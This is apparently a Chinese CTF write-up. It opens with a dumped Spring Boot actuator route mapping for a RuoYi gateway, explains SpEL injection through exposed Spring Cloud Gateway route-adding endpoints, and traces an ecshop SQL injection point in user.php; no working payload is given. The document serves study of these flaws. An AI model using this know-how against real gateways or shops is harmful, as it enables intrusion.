"predicate": "{GET /actuator/sentinel, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'sentinel'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/sentinel"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/configprops, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'configprops'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/configprops"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{POST /actuator/refresh, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'refresh'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.WriteOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;Ljava/util/Map;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"POST"
],
"params": [],
"patterns": [
"/actuator/refresh"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{DELETE /actuator/caches}",
"handler": "Actuator web endpoint 'caches'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"DELETE"
],
"params": [],
"patterns": [
"/actuator/caches"
],
"produces": []
}
}
},
{
"predicate": "{GET /actuator/loggers/{name}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'loggers-name'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/loggers/{name}"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/health/{*path}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'health-path'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/health/{*path}"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/nacosconfig, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'nacosconfig'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/nacosconfig"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/loggers, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'loggers'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/loggers"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/env, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'env'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/env"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{DELETE /actuator/caches/{cache}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'caches-cache'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"DELETE"
],
"params": [],
"patterns": [
"/actuator/caches/{cache}"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/beans, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'beans'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/beans"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/scheduledtasks, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'scheduledtasks'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/scheduledtasks"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/conditions, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'conditions'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/conditions"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/info, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'info'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/info"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/serviceregistry, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'serviceregistry'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/serviceregistry"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/health, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'health'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/health"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/gateway/globalfilters, and [[]]}",
"handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#globalfilters()",
"details": {
"handlerMethod": {
"className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
"name": "globalfilters",
"descriptor": "()Lreactor/core/publisher/Mono;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/gateway/globalfilters"
],
"produces": []
}
}
},
{
"predicate": "{DELETE /actuator/gateway/routes/{id}, and [[]]}",
"handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#delete(String)",
"details": {
"handlerMethod": {
"className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
"name": "delete",
"descriptor": "(Ljava/lang/String;)Lreactor/core/publisher/Mono;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"DELETE"
],
"params": [],
"patterns": [
"/actuator/gateway/routes/{id}"
],
"produces": []
}
}
},
{
"predicate": "{GET /actuator/gateway/routes/{id}/combinedfilters, and [[]]}",
"handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#combinedfilters(String)",
"details": {
"handlerMethod": {
"className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
"name": "combinedfilters",
"descriptor": "(Ljava/lang/String;)Lreactor/core/publisher/Mono;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/gateway/routes/{id}/combinedfilters"
],
"produces": []
}
}
},
{
"predicate": "{POST /actuator/gateway/refresh, and [[]]}",
"handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#refresh()",
"details": {
"handlerMethod": {
"className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
"name": "refresh",
"descriptor": "()Lreactor/core/publisher/Mono;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"POST"
],
"params": [],
"patterns": [
"/actuator/gateway/refresh"
],
"produces": []
}
}
},
{
"predicate": "{POST /actuator/gateway/routes/{id}, and [[]]}",
"handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#save(String, RouteDefinition)",
"details": {
"handlerMethod": {
"className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
"name": "save",
"descriptor": "(Ljava/lang/String;Lorg/springframework/cloud/gateway/route/RouteDefinition;)Lreactor/core/publisher/Mono;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"POST"
],
"params": [],
"patterns": [
"/actuator/gateway/routes/{id}"
],
"produces": []
}
}
},
{
"predicate": "{GET /actuator/gateway/routefilters, and [[]]}",
"handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#routefilers()",
"details": {
"handlerMethod": {
"className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
"name": "routefilers",
"descriptor": "()Lreactor/core/publisher/Mono;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/gateway/routefilters"
],
"produces": []
}
}
},
{
"predicate": "{GET /actuator/gateway/routes/{id}, and [[]]}",
"handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#route(String)",
"details": {
"handlerMethod": {
"className": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint",
"name": "route",
"descriptor": "(Ljava/lang/String;)Lreactor/core/publisher/Mono;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/gateway/routes/{id}"
],
"produces": []
}
}
},
{
"predicate": "{GET /actuator/gateway/routes, and [[]]}",
"handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#routes()",
"details": {
"handlerMethod": {
"className": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint",
"name": "routes",
"descriptor": "()Lreactor/core/publisher/Flux;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/gateway/routes"
],
"produces": []
}
}
},
{
"predicate": "{GET /actuator/gateway/routepredicates, and [[]]}",
"handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#routepredicates()",
"details": {
"handlerMethod": {
"className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
"name": "routepredicates",
"descriptor": "()Lreactor/core/publisher/Mono;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/gateway/routepredicates"
],
"produces": []
}
}
},
{
"predicate": "{GET /actuator/gateway/routedefinitions, and [[]]}",
"handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#routesdef()",
"details": {
"handlerMethod": {
"className": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint",
"name": "routesdef",
"descriptor": "()Lreactor/core/publisher/Flux;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/gateway/routedefinitions"
],
"produces": []
}
}
},
{
"predicate": "((GET && /code) && Accept: text/plain)",
"handler": "com.ruoyi.gateway.handler.ValidateCodeHandler@4a28de22",
"details": {
"handlerMethod": null,
"handlerFunction": {
"className": "com.ruoyi.gateway.handler.ValidateCodeHandler"
},
"requestMappingConditions": null
}
},
{
"predicate": "{GET /swagger-resources}",
"handler": "com.ruoyi.gateway.handler.SwaggerHandler#swaggerResources()",
"details": {
"handlerMethod": {
"className": "com.ruoyi.gateway.handler.SwaggerHandler",
"name": "swaggerResources",
"descriptor": "()Lreactor/core/publisher/Mono;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/swagger-resources"
],
"produces": []
}
}
},
{
"predicate": "{GET /swagger-resources/configuration/security}",
"handler": "com.ruoyi.gateway.handler.SwaggerHandler#securityConfiguration()",
"details": {
"handlerMethod": {
"className": "com.ruoyi.gateway.handler.SwaggerHandler",
"name": "securityConfiguration",
"descriptor": "()Lreactor/core/publisher/Mono;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/swagger-resources/configuration/security"
],
"produces": []
}
}
},
{
"predicate": "{GET /swagger-resources/configuration/ui}",
"handler": "com.ruoyi.gateway.handler.SwaggerHandler#uiConfiguration()",
"details": {
"handlerMethod": {
"className": "com.ruoyi.gateway.handler.SwaggerHandler",
"name": "uiConfiguration",
"descriptor": "()Lreactor/core/publisher/Mono;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/swagger-resources/configuration/ui"
],
"produces": []
}
}
},
{
"predicate": "/webjars/**",
"handler": "ResourceWebHandler [classpath [META-INF/resources/webjars/]]",
"details": null
},
{
"predicate": "/**",
"handler": "ResourceWebHandler [classpath [META-INF/resources/], classpath [resources/], classpath [static/], classpath [public/]]",
"details": null
},
{
"predicate": "/swagger-ui/**",
"handler": "ResourceWebHandler [classpath [META-INF/resources/webjars/springfox-swagger-ui/]]",
"details": null
}
]
}
},
"parentId": "ruoyi-gateway-1"
},
"bootstrap": {
"mappings": {
"dispatcherHandlers": {}
},
"parentId": null
}
}
}
搜索了一下 RuoYi 相关基本上都是一些前后台漏洞,这种纯服务的怎么打。。
并非复现:
事实上这道题目的漏洞跟什么云没关系,是网关服务的漏洞
参考 su 的师傅的文章打这个漏洞
https://rce.moe/2025/09/29/CVE-2025-41243
这里因为已经没有复现环境,就不对这个题目做分析,主要是了解一下网关服务
Spring Cloud Gateway 是 spring 官方推荐的 API 网关解决方案,用于在微服务架构中作为所有客户端请求的统一入口。他有如下特征
- 基于 Java 8 编码
- 基于 Spring Framework 5 + Project Reactor + Spring Boot 2.0 构建
- 支持动态路由,能够匹配任何请求属性上的路由
- 支持内置到 Spring Handler 映射中的路由匹配
- 支持基于 HTTP 请求的路由匹配(Path、Method、Header、Host 等等)
- 集成了 Hystrix 断路器
- 过滤器作用于匹配的路由
- 过滤器可以修改 HTTP 请求和 HTTP 响应(增加/修改 Header、增加/修改请求参数、改写请求 Path 等等)
- 支持 Spring Cloud DiscoveryClient 配置路由,与服务发现与注册配合使用
- 支持限流
它的作用主要是
- 路由转发(Routing):根据路径、方法、Header 等规则,将请求转发到对应微服务(如 /user/** → user-service)
- 负载均衡:与 Spring Cloud LoadBalancer 集成,自动从服务注册中心(如 Eureka、Nacos)获取实例并负载均衡
- 安全控制:在网关层统一做身份认证(如 JWT 校验)、权限检查、IP 黑名单等
- 限流与熔断:防止突发流量压垮后端服务(可集成 Sentinel、Resilience4j)
- 日志与监控:统一记录访问日志、埋点指标(对接 Prometheus、SkyWalking)
- 协议转换:支持 HTTP/1.1、HTTP/2、WebSocket 等
- 请求/响应修改:通过过滤器(Filter)添加 Header、修改路径、压缩响应等
它深度集成了 Spring Boot Actuator,并通过 Actuator 提供了一组专属管理端点(Endpoints)
- /actuator/gateway/routes 列出所有路由规则(含 ID、URI、predicates、filters)
- /actuator/gateway/routes/{id} 获取指定 ID 的路由详情
- /actuator/gateway/routes/{id} 动态添加新路由(需传 JSON)
- /actuator/gateway/routes/{id} 动态删除路由
- /actuator/gateway/refresh 刷新路由配置(重新加载 application.yml 中的路由)
- /actuator/gateway/globalfilters 查看所有全局过滤器(GlobalFilter)
- /actuator/gateway/routefilters 查看所有路由过滤器(GatewayFilter)
当然还有其它诸如 info health 等端点,但是一般情况下也只有这两个端点是暴露的
在暴露一些其它端点的情况下,例如本题中 actuator 端点的泄露就会导致路由可以任意添加
而路由的行为也是可控的,就会导致 SPEL 注入
https://spring.io/security/cve-2022-22947
添加路由的请求体格式大概是
{
"id": "my-route-1", # 路由id
"uri": "http://example.com", # 目标地址
"predicates": [ # 断言列表,也就是路由匹配方式
{
"name": "Path", # 匹配类型
"args": {
"_genkey_0": "/api/test/**"
}
}
],
"filters": [ # 过滤器,用于处理路由请求,SPEL注入也在这里发生
{
"name": "StripPrefix",
"args": {
"_genkey_0": "1"
}
}
],
"metadata": {} # 元数据
}
注入后的一些细节就不具体分析了
ecshop|STUCK
居然是黑盒网页题
注册的发现 admin 存在,想办法拿到
ecshop 本身是一个漏洞很多的框架,版本为 v4.1.19
Ecshop SQL 注入漏洞(CNVD-2025-07678)
脚本检测发现这样打会 500
qswl,这种题不给白盒让我自己下源码来调吗
官网上下到了 4.1.20 的源码
漏洞点在 user.php

这里的 $callbackXml 可控,会转换成数组进入 call_user_func_array
可以把 Event 设置为 scan,调用到 WeChatEvent 里的对应方法

继续跟进

会把 $name 拼接到 select 语句上,这个变量可以通过 xml 的 EventKey 控制
可以看到 4.1.20 这个漏洞依然存在,因此现在需要解决的是传入 xml 的 500 问题
utf16-be 编码行不通
又测试了一下发现是 sql 语句的问题,scan 方法调用的时候出错了,但是又看不出来是哪里的问题
试一下直接打 xml,不行访问不到,不知道是不解析还是不出网
并非复现
比较大量的一个代码审计,对我现在来说确实还做不到,直接去跟漏洞可能也意义不大,所以继续沉淀先吧
TO BE DONE...

浙公网安备 33010602011771号